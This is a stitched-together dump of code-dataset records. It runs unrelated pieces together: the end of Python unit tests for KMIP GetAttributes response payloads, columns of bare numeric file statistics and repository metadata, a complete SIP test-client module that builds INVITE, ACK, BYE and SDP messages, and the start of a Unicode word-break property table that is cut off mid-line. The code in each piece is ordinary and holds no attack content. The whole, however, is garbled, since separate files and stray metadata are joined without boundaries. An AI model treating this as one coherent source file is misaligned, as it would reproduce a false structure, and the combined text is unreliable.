self.assertEqual(list(), payload._attributes)
def test_write(self):
"""
Test that a GetAttributes response payload can be written to a data
stream.
"""
payload = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
stream = utils.BytearrayStream()
payload.write(stream)
self.assertEqual(len(self.full_encoding), len(stream))
self.assertEqual(str(self.full_encoding), str(stream))
def test_write_with_no_unique_identifier(self):
"""
Test that a GetAttributes request payload with no ID can be written
to a data stream.
"""
payload = payloads.GetAttributesResponsePayload(
None,
self.attributes
)
stream = utils.BytearrayStream()
args = (stream, )
self.assertRaisesRegex(
exceptions.InvalidField,
"The GetAttributes response unique identifier is required.",
payload.write,
*args
)
def test_write_with_no_attribute_names(self):
"""
Test that a GetAttributes response payload with no attribute name
data can be written to a data stream.
"""
payload = payloads.GetAttributesResponsePayload(
self.unique_identifier,
None
)
stream = utils.BytearrayStream()
payload.write(stream)
self.assertEqual(len(self.encoding_sans_attributes), len(stream))
self.assertEqual(str(self.encoding_sans_attributes), str(stream))
def test_repr(self):
"""
Test that repr can be applied to a GetAttributes response payload.
"""
payload = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
unique_identifier = "unique_identifier={0}".format(
payload.unique_identifier
)
payload_attributes = "attributes={0}".format(
payload.attributes
)
expected = "GetAttributesResponsePayload({0}, {1})".format(
unique_identifier,
payload_attributes
)
observed = repr(payload)
self.assertEqual(expected, observed)
def test_str(self):
"""
Test that str can be applied to a GetAttributes response payload.
"""
payload = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
expected = str({
'unique_identifier': self.unique_identifier,
'attributes': self.attributes
})
observed = str(payload)
self.assertEqual(expected, observed)
def test_equal_on_equal(self):
"""
Test that the equality operator returns True when comparing two
GetAttributes response payloads with the same data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
b = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
self.assertTrue(a == b)
self.assertTrue(b == a)
def test_equal_on_not_equal_unique_identifier(self):
"""
Test that the equality operator returns False when comparing two
GetAttributes response payloads with different data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
b = payloads.GetAttributesResponsePayload(
'invalid',
self.attributes
)
self.assertFalse(a == b)
self.assertFalse(b == a)
def test_equal_on_not_equal_attributes(self):
"""
Test that the equality operator returns False when comparing two
GetAttributes response payloads with different data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
reversed_attributes = copy.deepcopy(self.attributes)
reversed_attributes.reverse()
b = payloads.GetAttributesResponsePayload(
self.unique_identifier,
reversed_attributes
)
self.assertFalse(a == b)
self.assertFalse(b == a)
def test_equal_on_not_equal_attributes_count(self):
"""
Test that the equality operator returns False when comparing two
GetAttributes response payloads with different data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
b = payloads.GetAttributesResponsePayload(
self.unique_identifier,
list()
)
self.assertFalse(a == b)
self.assertFalse(b == a)
def test_equal_on_not_equal_attributes_types(self):
"""
Test that the equality operator returns False when comparing two
GetAttributes response payloads with different data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
None
)
b = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
self.assertFalse(a == b)
self.assertFalse(b == a)
def test_equal_on_type_mismatch(self):
"""
Test that the equality operator returns False when comparing a
GetAttributes response payload to a non-GetAttributes response
payload.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
b = 'invalid'
self.assertFalse(a == b)
self.assertFalse(b == a)
def test_not_equal_on_equal(self):
"""
Test that the inequality operator returns False when comparing
two GetAttributes response payloads with the same internal data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
b = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
self.assertFalse(a != b)
self.assertFalse(b != a)
def test_not_equal_on_not_equal_unique_identifier(self):
"""
Test that the inequality operator returns True when comparing two
GetAttributes request payloads with different data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
b = payloads.GetAttributesResponsePayload(
'invalid',
self.attributes
)
self.assertTrue(a != b)
self.assertTrue(b != a)
def test_not_equal_on_not_equal_attributes(self):
"""
Test that the inequality operator returns False when comparing two
GetAttributes response payloads with different data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
reversed_attributes = copy.deepcopy(self.attributes)
reversed_attributes.reverse()
b = payloads.GetAttributesResponsePayload(
self.unique_identifier,
reversed_attributes
)
self.assertTrue(a != b)
self.assertTrue(b != a)
def test_not_equal_on_not_equal_attributes_count(self):
"""
Test that the inequality operator returns False when comparing two
GetAttributes response payloads with different data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
b = payloads.GetAttributesResponsePayload(
self.unique_identifier,
list()
)
self.assertTrue(a != b)
self.assertTrue(b != a)
def test_not_equal_on_not_equal_attributes_types(self):
"""
Test that the inequality operator returns False when comparing two
GetAttributes response payloads with different data.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
None
)
b = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
self.assertTrue(a != b)
self.assertTrue(b != a)
def test_not_equal_on_type_mismatch(self):
"""
Test that the inequality operator returns True when comparing a
GetAttributes response payload to a non-GetAttributes response
payload.
"""
a = payloads.GetAttributesResponsePayload(
self.unique_identifier,
self.attributes
)
b = "invalid"
self.assertTrue(a != b)
self.assertTrue(b != a)
| 34.859649
| 79
| 0.610765
| 4,744
| 43,714
| 5.507799
| 0.058811
| 0.041104
| 0.0372
| 0.01883
| 0.908033
| 0.892227
| 0.883654
| 0.857783
| 0.848865
| 0.827548
| 0
| 0.063548
| 0.297685
| 43,714
| 1,253
| 80
| 34.88747
| 0.787531
| 0.165325
| 0
| 0.719484
| 0
| 0.070423
| 0.169068
| 0.140311
| 0
| 0
| 0
| 0
| 0.163146
| 1
| 0.075117
| false
| 0
| 0.010563
| 0
| 0.088028
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fc45ebb698383b9dee1e354e8a347bdb6581be12
| 13,377
|
py
|
Python
|
sip/sip.py
|
obnauticus/tandbergProxy
|
543580ec6d14422a030014437dfe38093851e645
|
[
"Apache-2.0"
] | null | null | null |
sip/sip.py
|
obnauticus/tandbergProxy
|
543580ec6d14422a030014437dfe38093851e645
|
[
"Apache-2.0"
] | null | null | null |
sip/sip.py
|
obnauticus/tandbergProxy
|
543580ec6d14422a030014437dfe38093851e645
|
[
"Apache-2.0"
] | null | null | null |
import transport
import uuid
def response_sdp(params):
text = '''v=0
o=qumu 166 2 IN IP4 {local_ip}
s=-
c=IN IP4 {local_ip}
t=0 0
m=audio 65066 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
m=video 53146 RTP/AVP 126
a=label:11
a=rtpmap:126 H264/90000
a=fmtp:126 profile-level-id=42E014;packetization-mode=1;max-mbps=108000;max-fs=3600;max-cpb=100;max-dpb=5400;max-br=2500;max-rcmd-nalu-size=196608;max-fps=6000
a=content:main
m=video 0 RTP/AVP 31 34 96 97
a=rtpmap:97 H264/90000
a=content:slides
a=inactive
m=application 0 UDP/BFCP *
c=IN IP4 0.0.0.0
'''.format(local_ip=params['lh'])
return text.replace('\n', '\r\n')
def response_sdp2(params):
text = '''v=0
o=qumu 166 2 IN IP4 {local_ip}
s=-
c=IN IP4 {local_ip}
t=0 0
m=audio 65066 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
m=video 53146 RTP/AVP 126
a=label:11
a=rtpmap:126 H264/90000
a=fmtp:126 profile-level-id=42E014;packetization-mode=1;max-mbps=108000;max-fs=3600;max-cpb=100;max-dpb=5400;max-br=2500;max-rcmd-nalu-size=196608;max-fps=6000
a=content:main
m=video 0 RTP/AVP 31 34 96 97
a=rtpmap:97 H264/90000
a=content:slides
a=inactive
m=application 0 UDP/BFCP *
c=IN IP4 0.0.0.0
m=application 55522 RTP/AVP 100
a=rtpmap:100 H224/4800
'''.format(local_ip=params['lh'])
return text.replace('\n', '\r\n')
def sdp(params):
sdp_text = '''v=0
o=qumu 166 2 IN IP4 {local_ip}
s=-
c=IN IP4 {local_ip}
b=AS:512
t=0 0
m=audio {audio_port} RTP/AVP 9
a=rtpmap:9 G722/8000
m=video {video_port} RTP/AVP 126 97
a=rtpmap:126 H264/90000
a=fmtp:126 profile-level-id=42e014;max-mbps=47700;max-fs=1590;max-dpb=2385;max-fps=6000;packetization-mode=1;max-rcmd-nalu-size=196608
a=rtpmap:97 H264/90000
a=fmtp:97 profile-level-id=42e014;max-mbps=47700;max-fs=1590;max-dpb=2385;max-fps=6000;max-rcmd-nalu-size=196608
'''.format(local_ip=params['lh'],
audio_port=10000,
video_port=10002)
return sdp_text.replace('\n', '\r\n')
def sdp2(params):
sdp_text = '''v=0
o=qumu 166 2 IN IP4 {local_ip}
s=-
c=IN IP4 {local_ip}
b=AS:512
t=0 0
m=audio {audio_port} RTP/AVP 9
a=rtpmap:9 G722/8000
m=video {video_port} RTP/AVP 126 97
a=rtpmap:126 H264/90000
a=fmtp:126 profile-level-id=42e014;max-mbps=47700;max-fs=1590;max-dpb=2385;max-fps=6000;packetization-mode=1;max-rcmd-nalu-size=196608
a=rtpmap:97 H264/90000
a=fmtp:97 profile-level-id=42e014;max-mbps=47700;max-fs=1590;max-dpb=2385;max-fps=6000;max-rcmd-nalu-size=196608
m=application 55522 RTP/AVP 100
a=rtpmap:100 H224/4800
'''.format(local_ip=params['lh'],
audio_port=10000,
video_port=10002)
return sdp_text.replace('\n', '\r\n')
def increment_seq(params):
if not 'seq' in params:
params['seq']=0
params['seq']=params['seq']+1
return params['seq']
def create_invite(params, sdp):
params['branch']='z9hG4bK{}'.format(uuid.uuid4())
params['local_tag']=uuid.uuid4()
params['call_id']=uuid.uuid4()
tag = ''
seq = increment_seq(params)
if 'peer_tag' in params:
tag = ';tag={}'.format(params['peer_tag'])
text = '''INVITE sip:{alias}@{rh}:{rp} SIP/2.0
Via: SIP/2.0/{transport} {lh}:{lp};branch={branch}
From: test <sip:test@{lh}:{lp}>;tag={local_tag}
To: sut <sip:{alias}@{rh}:{rp}>{tag_param}
Call-ID: {call_id}
CSeq: {seq} INVITE
Contact: sip:test@{lh}:{lp}
Max-Forwards: 70
Subject: Performance Test
Content-Type: application/sdp
Content-Length: {content_length}
{sdp_text}'''.replace('\n', '\r\n').format(alias=params['alias'],
rh=params['rh'],
rp=params['rp'],
transport=params['transport'],
branch=params['branch'],
local_tag=params['local_tag'],
tag_param=tag,
call_id=params['call_id'],
seq=params['seq'],
lh=params['lh'],
lp=params['lp'],
content_length=len(sdp),
sdp_text=sdp)
return text
def create_ack(params):
params['branch']='z9hG4bK{}'.format(uuid.uuid4())
ack = '''ACK sip:{rh}:{rp} SIP/2.0
Via: SIP/2.0/{transport} {lh}:{lp};branch={branch}
From: test <sip:test@{lh}:{lp}>;tag={local_tag}
To: sut <sip:{alias}@{rh}:{rp}>;tag={peer_tag}
{call_id_header}
CSeq: {seq} ACK
Contact: sip:test@{lh}:{lp}
Max-Forwards: 70
Content-Length: 0
'''.format(alias=params['alias'],
rh=params['rh'],
rp=params['rp'],
transport=params['transport'],
branch=params['branch'],
local_tag=params['local_tag'],
peer_tag=params['peer_tag'],
call_id_header=params["Call-ID"],
seq=params['seq'],
lh=params['lh'],
lp=params['lp'])
return ack.replace('\n', '\r\n')
def create_bye(params):
params['branch']='z9hG4bK{}'.format(uuid.uuid4())
increment_seq(params)
bye = '''BYE sip:{rh}:{rp} SIP/2.0
Via: SIP/2.0/{transport} {lh}:{lp};branch={branch}
From: test <sip:test@{lh}:{lp}>;tag={local_tag}
To: sut <sip:{alias}@{rh}:{rp}>;tag={peer_tag}
Call-ID: {call_id}
CSeq: {seq} BYE
Contact: sip:test@{lh}:{lp}
Max-Forwards: 70
Content-Length: 0
'''.format(alias=params['alias'],
rh=params['rh'],
rp=params['rp'],
transport=params['transport'],
branch=params['branch'],
local_tag=params['local_tag'],
peer_tag=params['peer_tag'],
call_id=params['call_id'],
seq=params['seq'],
lh=params['lh'],
lp=params['lp'])
return bye.replace('\n', '\r\n')
def parse_message(message):
parts = message.split('\r\n\r\n')
headers = parts[0].split('\r\n')
sdp = None
if len(parts) > 1:
sdp = parts[1]
return (headers, sdp)
def parse_response(message):
return parse_message(message)
def get_status(headers):
return int(headers[0].split()[1])
def get_tag(headers, header):
for h in headers:
if header in h:
parameters = h.split(';')
for p in parameters:
if 'tag=' in p:
return p[4:].rstrip()
return None
def get_parameter(header, name):
parameters = header.split(';')
name = '{}='.format(name)
for p in parameters:
if name in p:
return p[len(name):].rstrip()
return None
def get_header(headers, name):
for h in headers:
if name in h:
return h
return None
def send_invite(params):
i = create_invite(params, sdp(params))
print("sent=============>")
print(i.replace('\r\n', '\n'))
transport.open_socket(params)
transport.send_tcp(params, i)
def send_re_invite(params, sdp):
i = create_re_invite(params, sdp)
print("sent=============>")
print(i.replace('\r\n', '\n'))
transport.send_tcp(params, i)
def get_invite_response(params):
r = transport.recv_tcp(params)
print("<=============recv")
print(r.replace('\r\n', '\n'))
res= parse_response(r)
headers = res[0]
status = get_status(headers)
params['Call-ID'] = get_header(headers, 'Call-ID')
if (status == 200):
params['peer_tag'] = get_tag(headers, 'To:')
while (status < 200):
r = transport.recv_tcp(params)
print("<=============recv")
print(r.replace('\r\n', '\n'))
res= parse_response(r)
headers = res[0]
status = get_status(headers)
print (status)
if (status == 200):
params['peer_tag'] = get_tag(headers, 'To:')
return (status, headers, res[1])
def send_ack(params):
a = create_ack(params)
print("sent=============>")
print(a.replace('\r\n', '\n'))
transport.send_tcp(params, a)
def send_bye(params):
b = create_bye(params)
print("sent======>")
print(b.replace('\r\n', '\n'))
transport.send_tcp(params, b)
r = transport.recv_tcp(params)
print("<=============recv")
print(r.replace('\r\n', '\n'))
transport.close_socket(params)
def create_re_invite(params, sdp):
params['branch']='z9hG4bK{}'.format(uuid.uuid4())
increment_seq(params)
from_text = 'From: {}'.format(params['To'][4:])
to_text = 'To: {}'.format(params['From'][6:])
params["From"] = from_text
params["To"] = to_text
text = '''INVITE sip:{alias}@{rh}:{rp} SIP/2.0
Via: SIP/2.0/{transport} {lh}:{lp};branch={branch}
{from_header}
{to_header}
{call_id_header}
CSeq: {seq} INVITE
Contact: sip:test@{lh}:{lp}
Max-Forwards: 70
Content-Type: application/sdp
Content-Length: {content_length}
{sdp_text}'''.replace('\n', '\r\n').format(alias=params['alias'],
rh=params['rh'],
rp=params['rp'],
transport=params['transport'],
branch=params['branch'],
from_header=params["From"],
to_header=params["To"],
call_id_header=params["Call-ID"],
seq=params['seq'],
lh=params['lh'],
lp=params['lp'],
content_length=len(sdp),
sdp_text=sdp)
return text
def create_invite_response(params, headers):
seq = int(get_header(headers, "CSeq").split()[1].strip())
params['seq'] = seq
params['branch'] = get_parameter(get_header(headers, "Via"), 'branch')
params['local_tag'] = uuid.uuid4()
params['From']=get_header(headers, "From")
params['peer_tag'] = get_tag(headers, 'From:')
params['Call-ID']=get_header(headers, "Call-ID")
if not 'local_tag' in params:
params['local_tag']=uuid.uuid4()
tag = ';tag={}'.format(params['local_tag'])
params['To']="{}{}".format(get_header(headers, "To"), tag)
sdp = response_sdp(params)
text = '''SIP/2.0 200 OK
Via: SIP/2.0/{transport} {lh}:{lp};branch={branch}
{from_header}
{to_header}
{call_id_header}
{cseq_header}
Contact: sip:test@{lh}:{lp}
Content-Type: application/sdp
Content-Length: {content_length}
{sdp_text}'''.replace('\n', '\r\n').format(transport=params['transport'],
branch=params['branch'],
tag_param=tag,
lh=params['lh'],
lp=params['lp'],
from_header=params["From"],
to_header=params["To"],
call_id_header=params["Call-ID"],
cseq_header=get_header(headers, "CSeq"),
content_length=len(sdp),
sdp_text=sdp)
return text
def create_bye_response(params, headers):
seq = int(get_header(headers, "CSeq").split()[1].strip())
params['seq'] = seq
params['branch'] = get_parameter(get_header(headers, "Via"), 'branch')
params['local_tag'] = uuid.uuid4()
params['From']=get_header(headers, "From")
params['peer_tag'] = get_tag(headers, 'From:')
params['Call-ID']=get_header(headers, "Call-ID")
if not 'local_tag' in params:
params['local_tag']=uuid.uuid4()
tag = ';tag={}'.format(params['local_tag'])
params['To']="{}{}".format(get_header(headers, "To"), tag)
sdp = response_sdp(params)
text = '''SIP/2.0 200 OK
Via: SIP/2.0/{transport} {lh}:{lp};branch={branch}
{from_header}
{to_header}
{call_id_header}
{cseq_header}
Contact: sip:test@{lh}:{lp}
Content-Length: 0
'''.replace('\n', '\r\n').format(transport=params['transport'],
branch=params['branch'],
tag_param=tag,
lh=params['lh'],
lp=params['lp'],
from_header=params["From"],
to_header=params["To"],
call_id_header=params["Call-ID"],
cseq_header=get_header(headers, "CSeq"),
content_length=len(sdp),
sdp_text=sdp)
return text
| 33.695214
| 160
| 0.525604
| 1,738
| 13,377
| 3.940161
| 0.095512
| 0.023657
| 0.03271
| 0.014603
| 0.853096
| 0.820678
| 0.808411
| 0.801694
| 0.79045
| 0.751022
| 0
| 0.065274
| 0.309412
| 13,377
| 396
| 161
| 33.780303
| 0.676012
| 0
| 0
| 0.770115
| 0
| 0.017241
| 0.351206
| 0.089053
| 0
| 0
| 0
| 0
| 0
| 1
| 0.063218
| false
| 0
| 0.005747
| 0.005747
| 0.12931
| 0.043103
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5d7ebfd5a70ef35bf7c5864fd71abe8ac4baf303
| 34,977
|
py
|
Python
|
Sublime Text 3/Backup/20210122193107/backrefs/st3/backrefs/uniprops/unidata/wordbreak.py
|
anekeallen/Sublime-Text-3
|
8502b9089ca4223f8ba7ff168626a0dbe67713cb
|
[
"MIT"
] | 182
|
2017-03-05T07:43:13.000Z
|
2022-03-15T13:09:07.000Z
|
Sublime Text 3/Backup/20210122193107/backrefs/st3/backrefs/uniprops/unidata/wordbreak.py
|
anekeallen/Sublime-Text-3
|
8502b9089ca4223f8ba7ff168626a0dbe67713cb
|
[
"MIT"
] | 3
|
2021-05-10T18:59:14.000Z
|
2021-09-02T01:50:15.000Z
|
Sublime Text 3/Backup/20210122193107/backrefs/st3/backrefs/uniprops/unidata/wordbreak.py
|
anekeallen/Sublime-Text-3
|
8502b9089ca4223f8ba7ff168626a0dbe67713cb
|
[
"MIT"
] | 16
|
2017-03-07T11:01:27.000Z
|
2022-01-08T09:21:01.000Z
|
"""Unicode Properties from Unicode version 6.1.0 (autogen)."""
from __future__ import unicode_literals
unicode_word_break = {
"^aletter": "\x00-\x40\x5c\x5b-\x60\x7b-\xa9\xab-\xb4\xb6-\xb9\xbb-\xbf\xd7\xf7\u02c2-\u02c5\u02d2-\u02df\u02e5-\u02eb\u02ed\u02ef-\u036f\u0375\u0378-\u0379\u037e-\u0385\u0387\u038b\u038d\u03a2\u03f6\u0482-\u0489\u0528-\u0530\u0557-\u0558\u055a-\u0560\u0588-\u05cf\u05eb-\u05ef\u05f4-\u061f\u064b-\u066d\u0670\u06d4\u06d6-\u06e4\u06e7-\u06ed\u06f0-\u06f9\u06fd-\u06fe\u0700-\u070f\u0711\u0730-\u074c\u07a6-\u07b0\u07b2-\u07c9\u07eb-\u07f3\u07f6-\u07f9\u07fb-\u07ff\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u083f\u0859-\u089f\u08a1\u08ad-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962-\u0970\u0978\u0980-\u0984\u098d-\u098e\u0991-\u0992\u09a9\u09b1\u09b3-\u09b5\u09ba-\u09bc\u09be-\u09cd\u09cf-\u09db\u09de\u09e2-\u09ef\u09f2-\u0a04\u0a0b-\u0a0e\u0a11-\u0a12\u0a29\u0a31\u0a34\u0a37\u0a3a-\u0a58\u0a5d\u0a5f-\u0a71\u0a75-\u0a84\u0a8e\u0a92\u0aa9\u0ab1\u0ab4\u0aba-\u0abc\u0abe-\u0acf\u0ad1-\u0adf\u0ae2-\u0b04\u0b0d-\u0b0e\u0b11-\u0b12\u0b29\u0b31\u0b34\u0b3a-\u0b3c\u0b3e-\u0b5b\u0b5e\u0b62-\u0b70\u0b72-\u0b82\u0b84\u0b8b-\u0b8d\u0b91\u0b96-\u0b98\u0b9b\u0b9d\u0ba0-\u0ba2\u0ba5-\u0ba7\u0bab-\u0bad\u0bba-\u0bcf\u0bd1-\u0c04\u0c0d\u0c11\u0c29\u0c34\u0c3a-\u0c3c\u0c3e-\u0c57\u0c5a-\u0c5f\u0c62-\u0c84\u0c8d\u0c91\u0ca9\u0cb4\u0cba-\u0cbc\u0cbe-\u0cdd\u0cdf\u0ce2-\u0cf0\u0cf3-\u0d04\u0d0d\u0d11\u0d3b-\u0d3c\u0d3e-\u0d4d\u0d4f-\u0d5f\u0d62-\u0d79\u0d80-\u0d84\u0d97-\u0d99\u0db2\u0dbc\u0dbe-\u0dbf\u0dc7-\u0eff\u0f01-\u0f3f\u0f48\u0f6d-\u0f87\u0f8d-\u109f\u10c6\u10c8-\u10cc\u10ce-\u10cf\u10fb\u1249\u124e-\u124f\u1257\u1259\u125e-\u125f\u1289\u128e-\u128f\u12b1\u12b6-\u12b7\u12bf\u12c1\u12c6-\u12c7\u12d7\u1311\u1316-\u1317\u135b-\u137f\u1390-\u139f\u13f5-\u1400\u166d-\u166e\u1680\u169b-\u169f\u16eb-\u16ed\u16f1-\u16ff\u170d\u1712-\u171f\u1732-\u173f\u1752-\u175f\u176d\u1771-\u181f\u1878-\u187f\u18a9\u18ab-\u18af\u18f6-\u18ff\u191d-\u19ff\u1a17-\u1b04\u1b34-\u1b44\u1b4c-\u1b82\u1ba1-\u1bad\u1bb0-\u1bb9\u1be6-\u1bff\u1c24-\u1c4c\u1c50-\u1c59\u1c7e-\u1ce8\u1ced\u1cf2-\u1cf4\u1cf7-\u1cff\u1dc0-\u1dff\u1f16-\u1f17\u1f1e-\u1f1f\u1f46-\u1f47\u1f4e-\u1f4f\u1f58\u1f5a\u1f5c\u1f5e\u1f7e-\u1f7f\u1fb5\u1fbd\u1fbf-\u1fc1\u1fc5\u1fcd-\u1fcf\u1fd4-\u1fd5\u1fdc-\u1fdf\u1fed-\u1ff1\u1ff5\u1ffd-\u2070\u2072-\u207e\u2080-\u208f\u209d-\u2101\u2103-\u2106\u2108-\u2109\u2114\u2116-\u2118\u211e-\u2123\u2125\u2127\u2129\u212e\u213a-\u213b\u2140-\u2144\u214a-\u214d\u214f-\u215f\u2189-\u24b5\u24ea-\u2bff\u2c2f\u2c5f\u2ce5-\u2cea\u2cef-\u2cf1\u2cf4-\u2cff\u2d26\u2d28-\u2d2c\u2d2e-\u2d2f\u2d68-\u2d6e\u2d70-\u2d7f\u2d97-\u2d9f\u2da7\u2daf\u2db7\u2dbf\u2dc7\u2dcf\u2dd7\u2ddf-\u2e2e\u2e30-\u3004\u3006-\u303a\u303d-\u3104\u312e-\u3130\u318f-\u319f\u31bb-\u9fff\ua48d-\ua4cf\ua4fe-\ua4ff\ua60d-\ua60f\ua620-\ua629\ua62c-\ua63f\ua66f-\ua67e\ua698-\ua69f\ua6f0-\ua716\ua720-\ua721\ua789-\ua78a\ua78f\ua794-\ua79f\ua7ab-\ua7f7\ua802\ua806\ua80b\ua823-\ua83f\ua874-\ua881\ua8b4-\ua8f1\ua8f8-\ua8fa\ua8fc-\ua909\ua926-\ua92f\ua947-\ua95f\ua97d-\ua983\ua9b3-\ua9ce\ua9d0-\ua9ff\uaa29-\uaa3f\uaa43\uaa4c-\uaadf\uaaeb-\uaaf1\uaaf5-\uab00\uab07-\uab08\uab0f-\uab10\uab17-\uab1f\uab27\uab2f-\uabbf\uabe3-\uabff\ud7a4-\ud7af\ud7c7-\ud7ca\ud7fc-\ufaff\ufb07-\ufb12\ufb18-\ufb1c\ufb1e\ufb29\ufb37\ufb3d\ufb3f\ufb42\ufb45\ufbb2-\ufbd2\ufd3e-\ufd4f\ufd90-\ufd91\ufdc8-\ufdef\ufdfc-\ufe6f\ufe75\ufefd-\uff20\uff3b-\uff40\uff5b-\uff9f\uffbf-\uffc1\uffc8-\uffc9\uffd0-\uffd1\uffd8-\uffd9\uffdd-\uffff\U0001000c\U00010027\U0001003b\U0001003e\U0001004e-\U0001004f\U0001005e-\U0001007f\U000100fb-\U0001013f\U00010175-\U0001027f\U0001029d-\U0001029f\U000102d1-\U000102ff\U0001031f-\U0001032f\U0001034b-\U0001037f\U0001039e-\U0001039f\U000103c4-\U000103c7\U000103d0\U000103d6-\U000103ff\U0001049e-\U000107ff\U00010806-\U00010807\U00010809\U00010836\U00010839-\U0001083b\U0001083d-\U0001083e\U00010856-\U000108ff\U00010916-\U0001091f\U0001093a-\U0001097f\U000109b8-\U000109bd\U000109c0-\U000109ff\U00010a01-\U00010a0f\U00010a14\U00010a18\U00010a34-\U00010a5f\U00010a7d-\U00010aff\U00010b36-\U00010b3f\U00010b56-\U00010b5f\U00010b73-\U00010bff\U00010c49-\U00011002\U00011038-\U00011082\U000110b0-\U000110cf\U000110e9-\U00011102\U00011127-\U00011182\U000111b3-\U000111c0\U000111c5-\U0001167f\U000116ab-\U00011fff\U0001236f-\U000123ff\U00012463-\U00012fff\U0001342f-\U000167ff\U00016a39-\U00016eff\U00016f45-\U00016f4f\U00016f51-\U00016f92\U00016fa0-\U0001d3ff\U0001d455\U0001d49d\U0001d4a0-\U0001d4a1\U0001d4a3-\U0001d4a4\U0001d4a7-\U0001d4a8\U0001d4ad\U0001d4ba\U0001d4bc\U0001d4c4\U0001d506\U0001d50b-\U0001d50c\U0001d515\U0001d51d\U0001d53a\U0001d53f\U0001d545\U0001d547-\U0001d549\U0001d551\U0001d6a6-\U0001d6a7\U0001d6c1\U0001d6db\U0001d6fb\U0001d715\U0001d735\U0001d74f\U0001d76f\U0001d789\U0001d7a9\U0001d7c3\U0001d7cc-\U0001edff\U0001ee04\U0001ee20\U0001ee23\U0001ee25-\U0001ee26\U0001ee28\U0001ee33\U0001ee38\U0001ee3a\U0001ee3c-\U0001ee41\U0001ee43-\U0001ee46\U0001ee48\U0001ee4a\U0001ee4c\U0001ee50\U0001ee53\U0001ee55-\U0001ee56\U0001ee58\U0001ee5a\U0001ee5c\U0001ee5e\U0001ee60\U0001ee63\U0001ee65-\U0001ee66\U0001ee6b\U0001ee73\U0001ee78\U0001ee7d\U0001ee7f\U0001ee8a\U0001ee9c-\U0001eea0\U0001eea4\U0001eeaa\U0001eebc-\U0010ffff",
"^cr": "\x00-\x0c\x0e-\U0010ffff",
"^extend": "\x00-\u02ff\u0370-\u0482\u048a-\u0590\u05be\u05c0\u05c3\u05c6\u05c8-\u060f\u061b-\u064a\u0660-\u066f\u0671-\u06d5\u06dd-\u06de\u06e5-\u06e6\u06e9\u06ee-\u0710\u0712-\u072f\u074b-\u07a5\u07b1-\u07ea\u07f4-\u0815\u081a\u0824\u0828\u082e-\u0858\u085c-\u08e3\u08ff\u0904-\u0939\u093d\u0950\u0958-\u0961\u0964-\u0980\u0984-\u09bb\u09bd\u09c5-\u09c6\u09c9-\u09ca\u09ce-\u09d6\u09d8-\u09e1\u09e4-\u0a00\u0a04-\u0a3b\u0a3d\u0a43-\u0a46\u0a49-\u0a4a\u0a4e-\u0a50\u0a52-\u0a6f\u0a72-\u0a74\u0a76-\u0a80\u0a84-\u0abb\u0abd\u0ac6\u0aca\u0ace-\u0ae1\u0ae4-\u0b00\u0b04-\u0b3b\u0b3d\u0b45-\u0b46\u0b49-\u0b4a\u0b4e-\u0b55\u0b58-\u0b61\u0b64-\u0b81\u0b83-\u0bbd\u0bc3-\u0bc5\u0bc9\u0bce-\u0bd6\u0bd8-\u0c00\u0c04-\u0c3d\u0c45\u0c49\u0c4e-\u0c54\u0c57-\u0c61\u0c64-\u0c81\u0c84-\u0cbb\u0cbd\u0cc5\u0cc9\u0cce-\u0cd4\u0cd7-\u0ce1\u0ce4-\u0d01\u0d04-\u0d3d\u0d45\u0d49\u0d4e-\u0d56\u0d58-\u0d61\u0d64-\u0d81\u0d84-\u0dc9\u0dcb-\u0dce\u0dd5\u0dd7\u0de0-\u0df1\u0df4-\u0e30\u0e32-\u0e33\u0e3b-\u0e46\u0e4f-\u0eb0\u0eb2-\u0eb3\u0eba\u0ebd-\u0ec7\u0ece-\u0f17\u0f1a-\u0f34\u0f36\u0f38\u0f3a-\u0f3d\u0f40-\u0f70\u0f85\u0f88-\u0f8c\u0f98\u0fbd-\u0fc5\u0fc7-\u102a\u103f-\u1055\u105a-\u105d\u1061\u1065-\u1066\u106e-\u1070\u1075-\u1081\u108e\u1090-\u1099\u109e-\u135c\u1360-\u1711\u1715-\u1731\u1735-\u1751\u1754-\u1771\u1774-\u17b3\u17d4-\u17dc\u17de-\u180a\u180e-\u18a8\u18aa-\u191f\u192c-\u192f\u193c-\u19af\u19c1-\u19c7\u19ca-\u1a16\u1a1c-\u1a54\u1a5f\u1a7d-\u1a7e\u1a80-\u1aff\u1b05-\u1b33\u1b45-\u1b6a\u1b74-\u1b7f\u1b